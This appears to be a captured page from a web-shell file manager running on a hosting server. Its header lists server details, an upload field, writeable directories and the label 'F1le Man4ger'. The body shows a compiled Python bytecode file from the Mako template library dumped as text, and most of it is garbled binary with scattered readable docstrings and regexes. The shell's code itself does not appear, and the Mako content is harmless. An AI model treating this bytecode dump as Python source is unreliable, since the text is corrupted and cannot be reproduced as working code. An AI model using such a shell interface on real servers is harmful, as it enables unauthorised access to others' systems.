Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/site-packages/mako/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/site-packages/mako/__pycache__/pygen.cpython-38.pyc
U

O��g�(�@s2dZddlZddlmZGdd�d�Zdd�ZdS)z<utilities for generating and formatting literal Python code.�N)�
exceptionsc@sxeZdZdd�Zdd�Zdd�Zdd�Zdd
d�Zdd
�Zdd�Z	dd�Z
dd�Zddd�Zdd�Z
dd�Zdd�Zd	S)�
PythonPrintercCs�d|_g|_d|_||_d|_g|_d|_|��i|_t	�
d�|_t	�
d�|_t	�
d�|_
t	�
d�|_t	�
d	�|_t	�
d
�|_dS)Nrz    �Fz^\s*#z^\s*$z:[ \t]*(?:#.*)?$z ^\s*(if|try|elif|while|for|with)z(^\s*(def|class|else|elif|except|finally)z"^\s*(else|elif|except|finally).*\:)�indent�
indent_detail�indentstring�stream�lineno�line_buffer�in_indent_lines�_reset_multi_line_flags�
source_map�re�compile�_re_space_comment�	_re_space�
_re_indent�_re_compound�_re_indent_keyword�_re_unindentor)�selfr�r�7/opt/cppython/lib/python3.8/site-packages/mako/pygen.py�__init__s"�zPythonPrinter.__init__cCs|j|7_dS�N)r	�r�numrrr�_update_lineno7szPythonPrinter._update_linenocCs|j|jkr||j|j<dSr)r	r
)rr	rrr�start_source:szPythonPrinter.start_sourcecCs|j�d|�|�|�dS)N�
)r�writerrrrr�write_blanks>szPythonPrinter.write_blanksNcCsPd|_tt�d|��D]4\}}|j�|�|dk	r@|�||�|�d�qdS)z�print a line or lines of python which already contain indentation.

        The indentation of the total block of lines will be adjusted to that of
        the current indent level.F�\r?\nNr)r�	enumerater�splitr
�appendrr)r�blockZstarting_lineno�i�lrrr�write_indented_blockBsz"PythonPrinter.write_indented_blockcGs|D]}|�|�qdS)z"print a series of lines of python.N)�	writeline)r�lines�linerrr�
writelinesNszPythonPrinter.writelinescCsR|js|��d|_|dks4|j�|�s4|j�|�r:d}nd}|oTt|�oT|ddk}|s�|rh|�|�r�|jdkr�|jd8_t|j�dkr�t	�
d��|j��|dkr�dS|j�
|�|�d�|�t|�d���|j�|��rN|j�|�}|�r|�d�}|jd7_|j�|�n0d}|j�|�}|�rN|jd7_|j�|�dS)	z�print a line of python, indenting it according to the current
        indent level.

        this also adjusts the indentation counter according to the
        content of the line.

        TNFr�#rzToo many whitespace closuresr)r�_flush_adjusted_linesr�matchr�len�_is_unindentorrrrZ
MakoException�poprr �_indent_linerr$r�searchr�groupr%r)rr,ZhastextZ
is_commentr0�indentor�m2rrrr*SsN	�
�
�����


zPythonPrinter.writelinecCs|��dS)z1close this printer, flushing any remaining lines.N)r/�rrrr�close�szPythonPrinter.closecCs<t|j�dkrdS|jd}|dkr(dS|j�|�}t|�S)zqreturn true if the given line is an 'unindentor',
        relative to the last 'indent' event received.

        rF���N)r1rrr0�bool)rr,r7r0rrrr2�s
zPythonPrinter._is_unindentor�cCs2|dkr|j|j|St�d||j|j|�S)z�indent the given line according to the current indent level.

        stripspace is a string of space that will be truncated from the
        start of the line before indenting.r=�^%s)rrr�sub)rr,�
stripspacerrrr4�s
�zPythonPrinter._indent_linecCsd\|_|_dS)z^reset the flags which would indicate we are in a backslashed
        or triple-quoted section.)FFN)�backslashed�triplequotedr9rrrr�sz%PythonPrinter._reset_multi_line_flagscCsP|jp
|j}tt�d|��|_tt�d|��}|dksB|ddkrL|j|_|S)zcreturn true if the given line is part of a multi-line block,
        via backslash or triple-quote.�\\$�
\"\"\"|\'\'\'r�r)rArBr<rr5r1�findall)rr,Z
current_stateZtriplesrrr�_in_multi_line�s

zPythonPrinter._in_multi_linecCs�d}|��|jD]f}|�|�r2|j�|d�q|��}|dkr`t�d|�r`t�d|��	d�}|j�|�
||�d�qg|_|��dS)Nr�^[ \t]*[^# \t]�	^([ \t]*)r)rr
rGrr �
expandtabsrr5r0r6r4)rr@�entryrrrr/�s

z#PythonPrinter._flush_adjusted_lines)N)r=)�__name__�
__module__�__qualname__rrrr!r)r-r*r:r2r4rrGr/rrrrrs(
G(

rcs�ddg�d\�����fdd�}ddd�}g}d}t�d	|�D]V}||�rV|�|�q>|��}|dkr�t�d
|�r�t�d|��d�}|�|||��q>d
�|�S)z<remove the left-whitespace margin of a block of Python code.F)rrcs���p��}t�d|�r&d��<nd��<dd�}|rƈ�r~|d��|�\}}|rfd��<q�|d��|�\}}q6|d|�\}}|r�|S|d	|�\}}|r�|�d
���<q6|d|�\}}q6|S)NrCTFcSs6t�||�}|r*||t|�d��d�fSd|fSdS)Nr)rr0r1r6)�reg�t�mrrrr0sz7adjust_whitespace.<locals>.in_multi_line.<locals>.matchz%sz.*?(?=%s|$)r.rDrz.*?(?=\"\"\"|\'\'\'|#|$))rr5r6)r,Zstart_stater0rQ�rA�staterBrr�
in_multi_lines(

z(adjust_whitespace.<locals>.in_multi_liner=cSst�d|d|�S)Nr>r=)rr?)r,r@rrrr4'sz'adjust_whitespace.<locals>._indent_lineNr"rHrIrr)r=)rr$r%rJr5r0r6�join)�textrTr4r+r@r,rrRr�adjust_whitespace�s$
rW)�__doc__r�makorrrWrrrr�<module>s
p

F1le Man4ger